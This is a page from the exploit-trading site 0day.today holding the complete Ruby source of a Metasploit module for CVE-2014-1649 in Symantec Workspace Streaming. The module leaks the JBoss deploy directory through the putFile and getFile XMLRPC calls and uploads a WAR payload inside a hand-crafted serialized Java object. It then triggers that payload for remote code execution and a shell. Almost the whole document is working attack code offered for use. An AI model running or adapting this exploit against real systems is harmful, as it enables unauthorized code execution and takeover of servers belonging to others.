0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Symantec Workspace Streaming Arbitrary File Upload Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include REXML def initialize(info = {}) super(update_info(info, 'Name' => 'Symantec Workspace Streaming Arbitrary File Upload', 'Description' => %q{ This module exploits a code execution flaw in Symantec Workspace Streaming. The vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the as_agent.exe service, which allows for uploading arbitrary files under the server root. This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order to achieve remote code execution. This module has been tested successfully on Symantec Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single machine deployment, and also in the backend role in a multiple machine deployment. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-1649'], ['BID', '67189'], ['ZDI', '14-127'], ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00'] ], 'Privileged' => true, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Symantec Workspace Streaming 6.1 SP8 / Java Universal', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 12 2014')) register_options( [ Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file) OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse jboss auto deploy) ], self.class) end def send_xml_rpc_request(xml) res = send_request_cgi( { 'uri' => normalize_uri("/", "xmlrpc"), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => xml }) res end def build_soap_get_file(file_path) xml = Document.new xml.add_element( "methodCall", { 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" }) method_name = xml.root.add_element("methodName") method_name.text = "ManagementAgentServer.getFile" params = xml.root.add_element("params") param_server_root = params.add_element("param") value_server_root = param_server_root.add_element("value") value_server_root.text = "*AWESE" param_file_type = params.add_element("param") value_file_type = param_file_type.add_element("value") type_file_type = value_file_type.add_element("i4") type_file_type.text = "0" # build path from the server root directory param_file_name = params.add_element("param") value_file_name = param_file_name.add_element("value") value_file_name.text = file_path param_file_binary = params.add_element("param") value_file_binary = param_file_binary.add_element("value") type_file_binary = value_file_binary.add_element("boolean") type_file_binary.text = "0" xml << XMLDecl.new("1.0", "UTF-8") xml.to_s end def build_soap_put_file(file) xml = Document.new xml.add_element( "methodCall", { 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" }) method_name = xml.root.add_element("methodName") method_name.text = "ManagementAgentServer.putFile" params = xml.root.add_element("params") param_server_root = params.add_element("param") value_server_root = param_server_root.add_element("value") value_server_root.text = "*AWESE" param_file_type = params.add_element("param") value_file_type = param_file_type.add_element("value") type_file_type = value_file_type.add_element("i4") type_file_type.text = "0" # build path from the server root directory param_file = params.add_element("param") value_file = param_file.add_element("value") type_value_file = value_file.add_element("ex:serializable") type_value_file.text = file xml << XMLDecl.new("1.0", "UTF-8") xml.to_s end def build_soap_check_put xml = Document.new xml.add_element( "methodCall", { 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" }) method_name = xml.root.add_element("methodName") method_name.text = "ManagementAgentServer.putFile" xml.root.add_element("params") xml << XMLDecl.new("1.0", "UTF-8") xml.to_s end def parse_method_response(xml) doc = Document.new(xml) file = XPath.first(doc, "methodResponse/params/param/value/ex:serializable") unless file.nil? file = Rex::Text.decode_base64(file.text) end file end def get_file(path) xml_call = build_soap_get_file(path) file = nil res = send_xml_rpc_request(xml_call) if res && res.code == 200 && res.body file = parse_method_response(res.body.to_s) end file end def put_file(file) result = nil xml_call = build_soap_put_file(file) res = send_xml_rpc_request(xml_call) if res && res.code == 200 && res.body result = parse_method_response(res.body.to_s) end result end def upload_war(war_name, war, dst) result = false java_file = build_java_file_info("#{dst}#{war_name}", war) java_file = Rex::Text.encode_base64(java_file) res = put_file(java_file) if res && res =~ /ReturnObject.*StatusMessage.*Boolean/ result = true end result end def jboss_deploy_path path = nil leak = get_file("bin/CreateDatabaseSchema.cmd") if leak && leak =~ /\[INSTALLDIR\](.*)ste\/ste.jar/ path = $1 end path end def check check_result = Exploit::CheckCode::Safe if jboss_deploy_path.nil? xml = build_soap_check_put res = send_xml_rpc_request(xml) if res && res.code == 200 && res.body && res.body.to_s =~ /No method matching arguments/ check_result = Exploit::CheckCode::Detected end else check_result = Exploit::CheckCode::Appears end check_result end def exploit print_status("#{peer} - Leaking the jboss deployment directory...") jboss_path =jboss_deploy_path if jboss_path.nil? fail_with(Exploit::Unknown, "#{peer} - Failed to disclose the jboss deployment directory") end print_status("#{peer} - Building WAR payload...") app_name = Rex::Text.rand_text_alpha(4 + rand(4)) war_name = "#{app_name}.war" war = payload.encoded_war({ :app_name => app_name }).to_s deploy_dir = "..#{jboss_path}" print_status("#{peer} - Uploading WAR payload...") res = upload_war(war_name, war, deploy_dir) unless res fail_with(Exploit::Unknown, "#{peer} - Failed to upload the war payload") end register_files_for_cleanup("../server/appstream/deploy/#{war_name}") 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{rhost}:#{ste_port} - Attempting to launch payload in deployed WAR...") res = send_request_cgi( { 'uri' => normalize_uri("/", app_name, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET', 'rport' => ste_port # Auto Deploy can be reached through the "as_ste.exe" service }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end def ste_port datastore['STE_PORT'] end # com.appstream.cm.general.FileInfo serialized object def build_java_file_info(file_name, contents) stream = "\xac\xed" # stream magic stream << "\x00\x05" # stream version stream << "\x73" # new Object stream << "\x72" # TC_CLASSDESC stream << ["com.appstream.cm.general.FileInfo".length].pack("n") stream << "com.appstream.cm.general.FileInfo" stream << "\xa3\x02\xb6\x1e\xa1\x6b\xf0\xa7" # class serial version identifier stream << "\x02" # flags SC_SERIALIZABLE stream << [6].pack("n") # number of fields in the class stream << "Z" # boolean stream << ["bLastPage".length].pack("n") stream << "bLastPage" stream << "J" # long stream << ["lFileSize".length].pack("n") stream << "lFileSize" stream << "[" # array stream << ["baContent".length].pack("n") stream << "baContent" stream << "\x74" # TC_STRING stream << ["[B".length].pack("n") stream << "[B" # field's type (byte array) stream << "L" # Object stream << ["dTimeStamp".length].pack("n") stream << "dTimeStamp" stream << "\x74" # TC_STRING stream << ["Ljava/util/Date;".length].pack("n") stream << "Ljava/util/Date;" #field's type (Date) stream << "L" # Object stream << ["sContent".length].pack("n") stream << "sContent" stream << "\x74" # TC_STRING stream << ["Ljava/lang/String;".length].pack("n") stream << "Ljava/lang/String;" #field's type (String) stream << "L" # Object stream << ["sFileName".length].pack("n") stream << "sFileName" stream << "\x71" # TC_REFERENCE stream << [0x007e0003].pack("N") # handle stream << "\x78" # TC_ENDBLOCKDATA stream << "\x70" # TC_NULL # Values stream << [1].pack("c") # bLastPage stream << [0xffffffff, 0xffffffff].pack("NN") # lFileSize stream << "\x75" # TC_ARRAY stream << "\x72" # TC_CLASSDESC stream << ["[B".length].pack("n") stream << "[B" # byte array) stream << "\xac\xf3\x17\xf8\x06\x08\x54\xe0" # class serial version identifier stream << "\x02" # flags SC_SERIALIZABLE stream << [0].pack("n") # number of fields in the class stream << "\x78" # TC_ENDBLOCKDATA stream << "\x70" # TC_NULL stream << [contents.length].pack("N") stream << contents # baContent stream << "\x70" # TC_NULL # dTimeStamp stream << "\x70" # TC_NULL # sContent stream << "\x74" # TC_STRING stream << [file_name.length].pack("n") stream << file_name # sFileName stream end end # 0day.today [2024-12-24] #